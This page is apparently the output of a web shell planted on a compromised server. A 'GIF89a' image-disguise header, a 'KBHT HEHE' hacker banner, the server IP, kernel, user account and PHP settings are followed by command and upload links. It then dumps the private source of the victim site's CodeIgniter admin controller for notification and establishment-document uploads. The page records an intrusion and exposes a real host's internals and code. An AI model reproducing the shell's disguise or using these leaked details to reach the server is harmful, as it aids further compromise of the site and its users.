GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.133.144.147
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/pdf/../css/../../cas/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/pdf/../css/../../cas/application/controllers/admin/Notification.php
<?php

/**
 * Request Handler For Notification And Establishment Modules
 *
 * @author Softpro India Pvt. Ltd.
 */
class Notification extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model('admin/SessionManagement');
        $this->load->model('admin/NotificationManagement');
    }

    public function notificationHeads() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["noticeHead"] = $this->NotificationManagement->getAllNotificationHead()->result();
            $this->load->view('admin/notification/notificationHeads', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createNotificationHead() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->load->view('admin/notification/createNotificationHead');
        } else {
            redirect("admin/");
        }
    }

    public function saveNotificationHead() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('nh_name', 'Notification Head Name', 'trim|required', array('required' => 'Notification Head Name Can Not Be Blank.'));
            if ($this->form_validation->run() == FALSE) {
                $this->createNotificationHead();
            } else if (sizeof($this->NotificationManagement->getNotificationHeadByName(addslashes(trim($this->input->post("nh_name"))))->result())) {
                $this->session->set_flashdata("errorMessage", "This Notification Head Already Exist.");
                redirect("admin/Notification/createNotificationHead");
            } else {
                $nh_array = array(
                    'nh_name' => addslashes(trim($this->input->post("nh_name"))),
                    'nh_flag' => addslashes(trim($this->input->post("nh_flag"))),
                    "nh_added_on" => date("Y-m-d H:i:s"),
                    "nh_updated_on" => date("Y-m-d H:i:s"),
                    "nh_added_by" => $this->session->userdata("adminData")["smember_id"],
                    "nh_updated_by" => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->NotificationManagement->createNewNotificationHead($nh_array)) {
                    $this->session->set_flashdata("successMessage", "Notification Head Created Successfully.");
                    redirect("admin/Notification/notificationHeads");
                } else {
                    $this->session->set_flashdata("errorMessage", "Failed To Create Notification Head.");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editNotificationHead($nh_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["noticeHead"] = $this->NotificationManagement->getNotificationHeadById($nh_id)->result()[0];
            $this->load->view("admin/notification/editNotificationHead", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateNotificationHead() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('nh_name', 'Notification Head Name', 'trim|required', array('required' => 'Notification Head Name Can Not Be Blank.'));
            $nh_id = addslashes(trim($this->input->post("nh_id")));
            if ($this->form_validation->run() == FALSE) {
                $this->editNotificationHead($nh_id);
            } else if (sizeof($this->NotificationManagement->updateSafeNotificationHeadByName(addslashes(trim($this->input->post("nh_name"))), $nh_id)->result())) {
                $this->session->set_flashdata("errorMessage", "This Notification Head Already Exist.");
                redirect("admin/editNotificationHead", $nh_id);
            } else {
                $nh_array = array(
                    "nh_name" => addslashes(trim($this->input->post("nh_name"))),
                    "nh_added_on" => date("Y-m-d H:i:s"),
                    "nh_updated_on" => date("Y-m-d H:i:s"),
                    "nh_updated_by" => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->NotificationManagement->updateNotificationHead($nh_array, $nh_id)) {
                    $this->session->set_flashdata("successMessage", "Notification Head Created Successfully.");
                    redirect("admin/Notification/notificationHeads");
                } else {
                    $this->session->set_flashdata("errorMessage", "Failed To Create Notification Head.");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleNotificationHeadStatus($nh_id, $changedStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $notificationHeadData = array(
                'nh_updated_on' => date("Y-m-d H:i:s"),
                'nh_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'nh_active_status' => $changedStatus
            );
            if ($this->NotificationManagement->updateNotificationHead($notificationHeadData, $nh_id)) {
                $this->session->set_flashdata('successMessage', 'Notification Head Status Updated Successfully.');
                redirect("admin/Notification/notificationHeads");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Notification Head Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleDeleteNotificationHead($nh_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $notificationHeadData = array(
                'nh_updated_on' => date("Y-m-d H:i:s"),
                'nh_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'nh_delete_status' => $changeStatus
            );
            if ($this->NotificationManagement->updateNotificationHead($notificationHeadData, $nh_id)) {
                $this->session->set_flashdata('successMessage', 'Notification Head Delete Status Updated Successfully.');
                redirect("admin/Notification/notificationHeads");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Delete Status Of Notification Head. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    /* Request Hanlders For Notification Module */

    public function index() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["notices"] = $this->NotificationManagement->getAllNotification()->result();
            $this->load->view('admin/notification/notifications', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createNotification() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["sessions"] = $this->SessionManagement->getNonDeletedActiveSessions(array('session_status' => "C", "N"))->result();
            $viewData["noticeHead"] = $this->NotificationManagement->getAllActiveNonDeletedNotificationHead()->result();
            $this->load->view('admin/notification/createNotification', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNotification() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('session', 'Session', 'trim|required', array('required' => 'Select Any Session.'));
            $this->form_validation->set_rules('nh_name', 'Notification Head Name', 'trim|required', array('required' => 'Notification Head Name Can Not Be Blank.'));
            $this->form_validation->set_rules('nm_visibility_type', 'Notification Visible For', 'trim|required', array('required' => 'Select Any Notification Visibility.'));
            $this->form_validation->set_rules('nm_title', 'Notification Title', 'trim|required', array('required' => 'Notification Title Can Not Be Blank.'));
            if ($this->form_validation->run() == FALSE) {
                $this->createNotification();
            } else if (empty($_FILES['nm_file']['name'])) {
                $this->session->set_flashdata("errorMessage", "Please Select A File To Upload.");
                $this->createNotification();
            } else {
                $fileConfig["upload_path"] = "./assets/admin/uploads/notifications";
                $fileConfig["allowed_types"] = "pdf|doc|docx|xls|xlsx|txt|csv";
                $fileConfig["max_size"] = "3000";
                $fileConfig["file_ext_tolower"] = TRUE;
                $fileConfig['encrypt_name'] = TRUE;
                $this->load->library("upload", $fileConfig);
                if ($this->upload->do_upload("nm_file")) {
                    $file = $this->upload->data()["file_name"];
                    $nm_array = array(
                        "session_id" => addslashes(trim($this->input->post("session"))),
                        "nh_id" => addslashes(trim($this->input->post("nh_name"))),
                        "nm_visibility_type" => addslashes(trim($this->input->post("nm_visibility_type"))),
                        "nm_title" => addslashes(trim($this->input->post("nm_title"))),
                        "nm_file" => "assets/admin/uploads/notifications/" . $file,
                        "nm_added_on" => date("Y-m-d H:i:s"),
                        "nm_updated_on" => date("Y-m-d H:i:s"),
                        "nm_added_by" => $this->session->userdata("adminData")["smember_id"],
                        "nm_updated_by" => $this->session->userdata("adminData")["smember_id"]
                    );
                    if ($this->NotificationManagement->createNewNotification($nm_array)) {
                        $this->session->set_flashdata("successMessage", "Notification  Created Successfully.");
                        redirect("admin/Notification");
                    } else {
                        $this->session->set_flashdata("errorMessage", "Failed To Create Notification .");
                        redirect(current_url());
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "The File Can Not Be Uploaded. Max. File Size 2 MB. & Allowed Extension: Only *.pdf,*.doc,*.docx,*.xls,*.xlsx*.txt,*.csv. .");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editNotification($nm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["sessions"] = $this->SessionManagement->getNonDeletedActiveSessions(array('session_status' => "C", "N"))->result();
            $viewData["noticeHead"] = $this->NotificationManagement->getAllActiveNonDeletedNotificationHead()->result();
            $viewData["notice"] = $this->NotificationManagement->getNotificationById($nm_id)->result()[0];
            $this->load->view("admin/notification/editNotification", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateNotification() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('session', 'Session', 'trim|required', array('required' => 'Select Any Session.'));
            $this->form_validation->set_rules('nh_name', 'Notification Head Name', 'trim|required', array('required' => 'Notification Head Name Can Not Be Blank.'));
            $this->form_validation->set_rules('nm_visibility_type', 'Notification Visible For', 'trim|required', array('required' => 'Select Any Notification Visibility.'));
            $this->form_validation->set_rules('nm_title', 'Notification Title', 'trim|required', array('required' => 'Notification Title Can Not Be Blank.'));
            $nm_id = $this->input->post("nm_id");
            $notificationCurrentFileName = substr($this->input->post('nm_file'), strripos($this->input->post('nm_file'), "/") + 1);
            if ($this->form_validation->run() == FALSE) {
                $this->createNotification();
            } else if (empty($_FILES['nm_file']['name'])) {
                $nm_array = array(
                    "session_id" => addslashes(trim($this->input->post("session"))),
                    "nh_id" => addslashes(trim($this->input->post("nh_name"))),
                    "nm_visibility_type" => addslashes(trim($this->input->post("nm_visibility_type"))),
                    "nm_title" => addslashes(trim($this->input->post("nm_title"))),
                    "nm_updated_on" => date("Y-m-d H:i:s"),
                    "nm_updated_by" => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->NotificationManagement->updateNotification($nm_array, $nm_id)) {
                    $this->session->set_flashdata("successMessage", "Notification Created Successfully.");
                    redirect("admin/Notification");
                } else {
                    $this->session->set_flashdata("errorMessage", "Failed To Create Notification .");
                    redirect(current_url());
                }
            } else {
                $fileConfig["upload_path"] = "./assets/admin/uploads/notifications";
                $fileConfig["allowed_types"] = "pdf|doc|docx|xls|xlsx|txt|csv";
                $fileConfig["max_size"] = "3000";
                $fileConfig["file_ext_tolower"] = TRUE;
                $fileConfig['encrypt_name'] = TRUE;
                $this->load->library("upload", $fileConfig);
                if ($this->upload->do_upload("nm_file")) {
                    $file = $this->upload->data()["file_name"];
                    $nm_array = array(
                        "session_id" => addslashes(trim($this->input->post("session"))),
                        "nh_id" => addslashes(trim($this->input->post("nh_name"))),
                        "nm_visibility_type" => addslashes(trim($this->input->post("nm_visibility_type"))),
                        "nm_title" => addslashes(trim($this->input->post("nm_title"))),
                        "nm_file" => "assets/admin/uploads/notifications/" . $file,
                        "nm_updated_on" => date("Y-m-d H:i:s"),
                        "nm_updated_by" => $this->session->userdata("adminData")["smember_id"]
                    );
                    if ($this->NotificationManagement->updateNotification($nm_array, $nm_id)) {
                        if (file_exists("./assets/admin/uploads/notifications/" . $notificationCurrentFileName)) {
                            unlink("./assets/admin/uploads/notifications/" . $notificationCurrentFileName);
                        }
                        $this->session->set_flashdata("successMessage", "Notification Updated Successfully.");
                        redirect("admin/Notification");
                    } else {
                        $this->session->set_flashdata("errorMessage", "Failed To Update Notification. Try Later.");
                        redirect(current_url());
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "The File Can Not Be Uploaded. Max. File Size 2 MB. & Allowed Extension: Only *.pdf,*.doc,*.docx,*.xls,*.xlsx*.txt,*.csv. .");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleNotificationStatus($nm_id, $changedStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $notificationHeadData = array(
                'nm_updated_on' => date("Y-m-d H:i:s"),
                'nm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'nm_active_status' => $changedStatus
            );
            if ($this->NotificationManagement->updateNotification($notificationHeadData, $nm_id)) {
                $this->session->set_flashdata('successMessage', 'Notification Status Updated Successfully.');
                redirect("admin/Notification");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Notification Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleDeleteNotification($nm_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $notificationData = array(
                'nm_updated_on' => date("Y-m-d H:i:s"),
                'nm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'nm_delete_status' => $changeStatus
            );
            if ($this->NotificationManagement->updateNotification($notificationData, $nm_id)) {
                $this->session->set_flashdata('successMessage', 'Notification Delete Status Updated Successfully.');
                redirect("admin/Notification");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Delete Status Of Notification. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function notifications() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["notices"] = $this->NotificationManagement->getAllNotificationBy("F")->result();
            $this->load->view('admin/notification/notificationView', $viewData);
        } else {
            redirect("admin/");
        }
    }

    /* Request Handlers For Establishment Head Procurement Module */

    public function establishmentHeads() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["noticeHead"] = $this->NotificationManagement->getAllEstablishmentHead('E')->result();
            $this->load->view('admin/establishment/establishmentHeads', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createEstablishmentHead() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->load->view('admin/establishment/createEstablishmentHead');
        } else {
            redirect("admin/");
        }
    }

    public function saveEstablishmentHead() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('nh_name', 'Establishment Document Head Name', 'trim|required', array('required' => 'Establishment Document Head Name.'));
            if ($this->form_validation->run() == FALSE) {
                $this->createEstablishmentHead();
            } else if (sizeof($this->NotificationManagement->getNotificationHeadByName(addslashes(trim($this->input->post("nh_name"))))->result())) {
                $this->session->set_flashdata("errorMessage", "This Establishment Document Head Already Exist.");
                $this->createEstablishmentHead();
            } else {
                $nh_array = array(
                    'nh_name' => addslashes(trim($this->input->post("nh_name"))),
                    'nh_flag' => addslashes(trim($this->input->post("nh_flag"))),
                    "nh_added_on" => date("Y-m-d H:i:s"),
                    "nh_updated_on" => date("Y-m-d H:i:s"),
                    "nh_added_by" => $this->session->userdata("adminData")["smember_id"],
                    "nh_updated_by" => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->NotificationManagement->createNewNotificationHead($nh_array)) {
                    $this->session->set_flashdata("successMessage", "Establishment Document Head Created Successfully.");
                    redirect("admin/Notification/establishmentHeads");
                } else {
                    $this->session->set_flashdata("errorMessage", "Failed To Create Establishment Document Head.");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editEstablishmentHead($nh_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["noticeHead"] = $this->NotificationManagement->getNotificationHeadById($nh_id)->result()[0];
            $this->load->view("admin/establishment/editEstablishmentHead", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateEstablishmentHead() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('nh_name', 'Establishment Document Head Name', 'trim|required', array('required' => 'Establishment Document Head Name Can Not Be Blank.'));
            $nh_id = addslashes(trim($this->input->post("nh_id")));
            if ($this->form_validation->run() == FALSE) {
                $this->editEstablishmentHead($nh_id);
            } else if (sizeof($this->NotificationManagement->updateSafeNotificationHeadByName(addslashes(trim($this->input->post("nh_name"))), $nh_id)->result())) {
                $this->session->set_flashdata("errorMessage", "This Establishment Document Head Already Exist.");
                $this->editEstablishmentHead($nh_id);
            } else {
                $nh_array = array(
                    "nh_name" => addslashes(trim($this->input->post("nh_name"))),
                    "nh_added_on" => date("Y-m-d H:i:s"),
                    "nh_updated_on" => date("Y-m-d H:i:s"),
                    "nh_updated_by" => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->NotificationManagement->updateNotificationHead($nh_array, $nh_id)) {
                    $this->session->set_flashdata("successMessage", "Establishment Head Created Successfully.");
                    redirect("admin/Notification/establishmentHeads");
                } else {
                    $this->session->set_flashdata("errorMessage", "Failed To Create Establishment Head.");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleEstablishmentHeadStatus($nh_id, $changedStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $notificationHeadData = array(
                'nh_updated_on' => date("Y-m-d H:i:s"),
                'nh_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'nh_active_status' => $changedStatus
            );
            if ($this->NotificationManagement->updateNotificationHead($notificationHeadData, $nh_id)) {
                $this->session->set_flashdata('successMessage', 'Establishment Head Status Updated Successfully.');
                redirect("admin/Notification/establishmentHeads");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Establishment Head Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleDeleteEstablishmentHead($nh_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $notificationHeadData = array(
                'nh_updated_on' => date("Y-m-d H:i:s"),
                'nh_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'nh_delete_status' => $changeStatus
            );
            if ($this->NotificationManagement->updateNotificationHead($notificationHeadData, $nh_id)) {
                $this->session->set_flashdata('successMessage', 'Establishment Head Delete Status Updated Successfully.');
                redirect("admin/Notification/establishmentHeads");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Delete Status Of Establishment Head. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    /* Request Handlers For Establishment Document Procurement Module */

    public function establishments() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["notices"] = $this->NotificationManagement->getAllEstablishment()->result();
            $this->load->view('admin/establishment/establishments', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createEstablishment() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["sessions"] = $this->SessionManagement->getNonDeletedActiveSessions(array('session_status' => "C", "N"))->result();
            $viewData["noticeHead"] = $this->NotificationManagement->getAllActiveNonDeletedEstablishmentHead()->result();
            $this->load->view('admin/establishment/createEstablishment', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveEstablishment() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('session', 'Session', 'trim|required', array('required' => 'Please Select Any Session.'));
            $this->form_validation->set_rules('nm_title', 'Establishment Document Title', 'trim|required', array('required' => 'Establishment Document Title Can Not Be Blank.'));
            $this->form_validation->set_rules('nh_name', 'Establishment Document Head Name', 'trim|required', array('required' => 'Please Select An Establishment Document Head.'));
            if ($this->form_validation->run() == FALSE) {
                $this->createEstablishment();
            } else if (empty($_FILES['nm_file']['name'])) {
                $this->session->set_flashdata("errorMessage", "Please Select A File To Upload.");
                $this->createEstablishment();
            } else {
                $fileConfig["upload_path"] = "./assets/admin/uploads/establishmentDocs";
                $fileConfig["allowed_types"] = "pdf|doc|docx|xls|xlsx|txt|csv";
                $fileConfig["max_size"] = "3000";
                $fileConfig["file_ext_tolower"] = TRUE;
                $fileConfig['encrypt_name'] = TRUE;
                $this->load->library("upload", $fileConfig);
                if ($this->upload->do_upload("nm_file")) {
                    $file = $this->upload->data()["file_name"];
                    $nm_array = array(
                        "session_id" => addslashes(trim($this->input->post("session"))),
                        "nh_id" => addslashes(trim($this->input->post("nh_name"))),
                        "nm_visibility_type" => 'E',
                        "nm_title" => addslashes(trim($this->input->post("nm_title"))),
                        "nm_file" => "assets/admin/uploads/establishmentDocs/" . $file,
                        "nm_added_on" => date("Y-m-d H:i:s"),
                        "nm_updated_on" => date("Y-m-d H:i:s"),
                        "nm_added_by" => $this->session->userdata("adminData")["smember_id"],
                        "nm_updated_by" => $this->session->userdata("adminData")["smember_id"]
                    );
                    if ($this->NotificationManagement->createNewNotification($nm_array)) {
                        $this->session->set_flashdata("successMessage", "Establishment Document Added Successfully.");
                        redirect("admin/Notification/establishments");
                    } else {
                        $this->session->set_flashdata("errorMessage", "Failed To Add Establishment Document.");
                        redirect(current_url());
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "The File Can Not Be Uploaded. Max. File Size 2 MB. & Allowed Extension: Only *.pdf,*.doc,*.docx,*.xls,*.xlsx*.txt,*.csv. .");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editEstablishment($nm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["sessions"] = $this->SessionManagement->getNonDeletedActiveSessions(array('session_status' => "C", "N"))->result();
            $viewData["noticeHead"] = $this->NotificationManagement->getAllActiveNonDeletedEstablishmentHead()->result();
            $viewData["notice"] = $this->NotificationManagement->getNotificationById($nm_id)->result()[0];
            $this->load->view("admin/establishment/editEstablishment", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateEstablishment() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('session', 'Session', 'trim|required', array('required' => 'Please Select Any Session.'));
            $this->form_validation->set_rules('nm_title', 'Establishment Document Title', 'trim|required', array('required' => 'Establishment Document Title Can Not Be Blank.'));
            $this->form_validation->set_rules('nh_name', 'Establishment Document Head Name', 'trim|required', array('required' => 'Please Select An Establishment Document Head.'));
            $nm_id = $this->input->post("nm_id");
            $establishmentDocumentCurrentFileName = substr($this->input->post('nm_file'), strripos($this->input->post('nm_file'), "/") + 1);
            if ($this->form_validation->run() == FALSE) {
                $this->editEstablishment($nm_id);
            } else if (empty($_FILES['nm_file']['name'])) {
                $nm_array = array(
                    "session_id" => addslashes(trim($this->input->post("session"))),
                    "nh_id" => addslashes(trim($this->input->post("nh_name"))),
                    "nm_visibility_type" => 'E',
                    "nm_title" => addslashes(trim($this->input->post("nm_title"))),
                    "nm_updated_on" => date("Y-m-d H:i:s"),
                    "nm_updated_by" => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->NotificationManagement->updateNotification($nm_array, $nm_id)) {
                    $this->session->set_flashdata("successMessage", "Establishment  Created Successfully.");
                    redirect("admin/Notification/establishments");
                } else {
                    $this->session->set_flashdata("errorMessage", "Failed To Create Establishment .");
                    redirect(current_url());
                }
            } else {
                $fileConfig["upload_path"] = "./assets/admin/uploads/establishmentDocs";
                $fileConfig["allowed_types"] = "pdf|doc|docx|xls|xlsx|txt|csv";
                $fileConfig["max_size"] = "3000";
                $fileConfig["file_ext_tolower"] = TRUE;
                $fileConfig['encrypt_name'] = TRUE;
                $this->load->library("upload", $fileConfig);
                if ($this->upload->do_upload("nm_file")) {
                    $file = $this->upload->data()["file_name"];
                    $nm_array = array(
                        "session_id" => addslashes(trim($this->input->post("session"))),
                        "nh_id" => addslashes(trim($this->input->post("nh_name"))),
                        "nm_visibility_type" => 'E',
                        "nm_title" => addslashes(trim($this->input->post("nm_title"))),
                        "nm_file" => "assets/admin/uploads/establishmentDocs/" . $file,
                        "nm_updated_on" => date("Y-m-d H:i:s"),
                        "nm_updated_by" => $this->session->userdata("adminData")["smember_id"]
                    );
                    if ($this->NotificationManagement->updateNotification($nm_array, $nm_id)) {
                        if (file_exists("./assets/admin/uploads/establishmentDocs/" . $establishmentDocumentCurrentFileName)) {
                            unlink("./assets/admin/uploads/establishmentDocs/" . $establishmentDocumentCurrentFileName);
                        }
                        $this->session->set_flashdata("successMessage", "Establishment Document Updated Successfully.");
                        redirect("admin/Notification/establishments");
                    } else {
                        $this->session->set_flashdata("errorMessage", "Failed To Create Establishment .");
                        redirect(current_url());
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "The File Can Not Be Uploaded. Max. File Size 2 MB. & Allowed Extension: Only *.pdf,*.doc,*.docx,*.xls,*.xlsx*.txt,*.csv. .");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleEstablishmentStatus($nm_id, $changedStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $notificationHeadData = array(
                'nm_updated_on' => date("Y-m-d H:i:s"),
                'nm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'nm_active_status' => $changedStatus
            );
            if ($this->NotificationManagement->updateNotification($notificationHeadData, $nm_id)) {
                $this->session->set_flashdata('successMessage', 'Establishment Status Updated Successfully.');
                redirect("admin/Notification/establishments");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Establishment Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleDeleteEstablishment($nm_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $notificationData = array(
                'nm_updated_on' => date("Y-m-d H:i:s"),
                'nm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'nm_delete_status' => $changeStatus
            );
            if ($this->NotificationManagement->updateNotification($notificationData, $nm_id)) {
                $this->session->set_flashdata('successMessage', 'Establishment Delete Status Updated Successfully.');
                redirect("admin/Notification/establishments");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Delete Status Of Establishment. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

}

KBHT - 2023